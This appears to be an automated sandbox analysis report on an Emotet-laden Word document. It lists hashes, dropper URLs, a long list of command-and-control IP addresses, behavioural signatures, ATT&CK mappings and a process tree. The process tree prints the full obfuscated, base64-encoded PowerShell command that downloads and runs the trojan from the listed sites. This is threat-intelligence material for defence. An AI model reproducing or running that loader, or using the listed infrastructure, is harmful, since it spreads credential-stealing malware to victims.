emotet | a145c68d6733bdbef62c6d009986cf4ac6100b25b6e44571b92f9e5257fd3a2c

General

Target
emotet_e1_a145c68d6733bdbef62c6d009986cf4ac6100b25b6e44571b92f9e5257fd3a2c_2020-09-30__063315154129._doc.doc
Size 145KB
Sample200930-2yda6x2aax
SHA256 a145c68d6733bdbef62c6d009986cf4ac6100b25b6e44571b92f9e5257fd3a2c
MD5 428aff8f3620488ae3a029abad907d71
SHA1 6af979e323da1f1c0e158df14a9dad7eefed1791
SHA512 fece16b31dacf9f7fdbf2bf7e13d87db9409bc4fe58a7892329d6949338503a2d4b903e08addaf8d528ae933bf14eb79edd0e1e24921a730017ff259782a8e6d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.productsofindiareviews.com/css/9Ut/
exe.dropper
https://online24h.biz/wp-admin/n/
exe.dropper
https://star-speed.vip/wp-admin/jp/
exe.dropper
https://kenhthietke.com/0Fg/
exe.dropper
https://syntegows.com/chirag/KX/
exe.dropper
https://vishalpatola.com/wp-admin/2/
exe.dropper
https://shmct.org/wp-admin/Xm/

Extracted

Family

emotet

C2

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	424	3588	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1904-16-0x0000000002360000-0x0000000002370000-memory.dmp	emotet
behavioral2/memory/1904-16-0x0000000002360000-0x0000000002370000-memory.dmp	emotet
behavioral2/memory/644-22-0x0000000002000000-0x0000000002010000-memory.dmp	emotet
behavioral2/memory/644-22-0x0000000002000000-0x0000000002010000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
24	424	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1904	T36vmr9l.exe
644	iyuv_32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\sppc\iyuv_32.exe	T36vmr9l.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
592	WINWORD.EXE
592	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
424	POwersheLL.exe
424	POwersheLL.exe
424	POwersheLL.exe
644	iyuv_32.exe
644	iyuv_32.exe
644	iyuv_32.exe
644	iyuv_32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	424	POwersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
592	WINWORD.EXE
592	WINWORD.EXE
592	WINWORD.EXE
592	WINWORD.EXE
592	WINWORD.EXE
592	WINWORD.EXE
592	WINWORD.EXE
592	WINWORD.EXE
592	WINWORD.EXE
1904	T36vmr9l.exe
1904	T36vmr9l.exe
644	iyuv_32.exe
644	iyuv_32.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 424 wrote to memory of 1904	424	POwersheLL.exe	80
PID 424 wrote to memory of 1904	424	POwersheLL.exe	80
PID 424 wrote to memory of 1904	424	POwersheLL.exe	80
PID 1904 wrote to memory of 644	1904	T36vmr9l.exe	81
PID 1904 wrote to memory of 644	1904	T36vmr9l.exe	81
PID 1904 wrote to memory of 644	1904	T36vmr9l.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a145c68d6733bdbef62c6d009986cf4ac6100b25b6e44571b92f9e5257fd3a2c_2020-09-30__063315154129._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:592

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABJAGIAYQB0AGQAbwBtAD0AKAAnAE0AYwAnACsAKAAnAHoAJwArACcAbgBpACcAKQArACcAcgA1ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdQBTAGUAUgBwAFIATwBGAGkATABFAFwAUwBzAEgATgBhAE0ASQBcAFUANwBfAEIAVQB5AGEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBDAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAYABSAEkAVABZAHAAYABSAG8AYABUAGAATwBjAE8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACkAKwAoACcALAAgACcAKwAnAHQAbAAnACkAKwAoACcAcwAxADEAJwArACcALAAgACcAKQArACcAdAAnACsAJwBsAHMAJwApADsAJABJAGEAegB1ADcANgBiACAAPQAgACgAKAAnAFQAJwArACcAMwA2AHYAJwApACsAKAAnAG0AJwArACcAcgA5ACcAKQArACcAbAAnACkAOwAkAFAAbAA0ADQAZwBzAHkAPQAoACgAJwBFACcAKwAnAGkANgAnACkAKwAoACcANQAnACsAJwB0AG0AJwApACsAJwBtACcAKQA7ACQAUQA3AHMAYwB6ADQAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBjAEoAJwArACgAJwB1ACcAKwAnAFMAcwBoAG4AYQBtACcAKQArACcAaQBjACcAKwAoACcASgB1AFUANwAnACsAJwBfAGIAJwArACcAdQB5AGEAJwApACsAKAAnAGMASgAnACsAJwB1ACcAKQApACAALQBDAFIARQBwAGwAYQBDAEUAIAAgACgAWwBjAGgAQQByAF0AOQA5ACsAWwBjAGgAQQByAF0ANwA0ACsAWwBjAGgAQQByAF0AMQAxADcAKQAsAFsAYwBoAEEAcgBdADkAMgApACsAJABJAGEAegB1ADcANgBiACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQASgA3ADkAeAA2AHkAbAA9ACgAKAAnAE0AawA0ACcAKwAnADUAcQAnACsAJwBoACcAKQArACcANgAnACkAOwAkAEIAZwBhAHkAbwB2AHIAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBFAGIAQwBsAGkARQBOAHQAOwAkAFEAMQBlAGEAbgA5AGIAPQAoACgAJwBoACcAKwAnAHQAdABwACcAKQArACcAOgAnACsAJwAvAC8AJwArACgAJwB3AHcAdwAnACsAJwAuAHAAJwArACcAcgBvAGQAJwArACcAdQBjAHQAcwBvACcAKwAnAGYAaQBuACcAKQArACgAJwBkAGkAYQAnACsAJwByAGUAJwApACsAJwB2ACcAKwAnAGkAJwArACcAZQAnACsAKAAnAHcAcwAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAGMAJwApACsAJwBzAHMAJwArACgAJwAvACcAKwAnADkAVQB0ACcAKQArACcALwAqACcAKwAoACcAaAB0ACcAKwAnAHQAcABzADoAJwApACsAKAAnAC8ALwBvACcAKwAnAG4AbABpACcAKQArACgAJwBuACcAKwAnAGUAMgAnACkAKwAoACcANABoAC4AYgAnACsAJwBpACcAKQArACgAJwB6ACcAKwAnAC8AdwBwAC0AJwApACsAKAAnAGEAZAAnACsAJwBtACcAKQArACgAJwBpACcAKwAnAG4ALwBuAC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzACcAKwAnADoALwAvACcAKQArACcAcwAnACsAJwB0ACcAKwAoACcAYQByAC0AJwArACcAcwBwACcAKwAnAGUAJwApACsAKAAnAGUAZAAuACcAKwAnAHYAaQBwACcAKQArACgAJwAvAHcAcAAtAGEAZAAnACsAJwBtACcAKQArACcAaQBuACcAKwAoACcALwBqACcAKwAnAHAAJwApACsAJwAvACoAJwArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwAHMAOgAvAC8AawAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAGgAdABoAGkAZQAnACsAJwB0AGsAZQAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAvADAAJwArACcARgBnAC8AJwApACsAJwAqAGgAJwArACgAJwB0AHQAJwArACcAcABzADoAJwApACsAJwAvAC8AJwArACcAcwAnACsAKAAnAHkAbgAnACsAJwB0ACcAKQArACgAJwBlAGcAJwArACcAbwAnACkAKwAnAHcAJwArACgAJwBzAC4AYwBvACcAKwAnAG0ALwBjAGgAJwApACsAJwBpAHIAJwArACgAJwBhAGcAJwArACcALwAnACkAKwAnAEsAJwArACcAWAAvACcAKwAnACoAJwArACgAJwBoAHQAJwArACcAdABwACcAKwAnAHMAOgAvAC8AJwApACsAKAAnAHYAJwArACcAaQBzACcAKwAnAGgAYQBsAHAAJwApACsAKAAnAGEAdABvAGwAYQAnACsAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAHcAJwArACcAcAAtAGEAZABtAGkAJwArACcAbgAvADIALwAnACkAKwAoACcAKgBoAHQAdABwAHMAJwArACcAOgAnACsAJwAvAC8AJwApACsAJwBzAGgAJwArACgAJwBtACcAKwAnAGMAdAAuAG8AJwArACcAcgBnACcAKQArACcALwAnACsAJwB3ACcAKwAoACcAcAAtAGEAJwArACcAZAAnACkAKwAoACcAbQAnACsAJwBpAG4ALwAnACkAKwAoACcAWAAnACsAJwBtAC8AJwApACkALgAiAFMAcABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwA3AHMAZAB0AGEAbAA9ACgAKAAnAEEAJwArACcAbwBjAGkAXwAnACsAJwB6ACcAKQArACcAaQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABKADUAaAB2AGQAdAA2ACAAaQBuACAAJABRADEAZQBhAG4AOQBiACkAewB0AHIAeQB7ACQAQgBnAGEAeQBvAHYAcgAuACIARABvAHcAYABOAGwAbwBgAEEAZABmAGkAYABsAGUAIgAoACQASgA1AGgAdgBkAHQANgAsACAAJABRADcAcwBjAHoANABpACkAOwAkAE4AcAAwAHYAXwB5ADQAPQAoACgAJwBaADIAJwArACcAbQAnACkAKwAnADgAMQAnACsAJwA2AHQAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAFEANwBzAGMAegA0AGkAKQAuACIATABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAzADkAMgAyADMAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAoACQAUQA3AHMAYwB6ADQAaQApADsAJABUAGUAeAA2AGoAeABuAD0AKAAnAEoAdwAnACsAKAAnAHIAdwBkACcAKwAnAGMANAAnACkAKQA7AGIAcgBlAGEAawA7ACQASgBrAGIAagBqAGQAYgA9ACgAKAAnAE8AJwArACcAZAAzACcAKQArACcAegBvACcAKwAnADYAaAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMANQBqAHYAdgB1AGsAPQAoACcAUAAnACsAKAAnAF8AdwAnACsAJwBjACcAKQArACgAJwBtAG0AJwArACcAOAAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:424
- C:\Users\Admin\Sshnami\U7_buya\T36vmr9l.exe
  "C:\Users\Admin\Sshnami\U7_buya\T36vmr9l.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\SysWOW64\sppc\iyuv_32.exe
    "C:\Windows\SysWOW64\sppc\iyuv_32.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:644

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/424-7-0x00007FF8DC160000-0x00007FF8DCB4C000-memory.dmp

Download

memory/424-8-0x000001CE746B0000-0x000001CE746B1000-memory.dmp

Download

memory/424-9-0x000001CE74860000-0x000001CE74861000-memory.dmp

Download

memory/592-0-0x00007FF8E93E0000-0x00007FF8E9AA6000-memory.dmp

Download

memory/644-22-0x0000000002000000-0x0000000002010000-memory.dmp

Download

memory/1904-16-0x0000000002360000-0x0000000002370000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads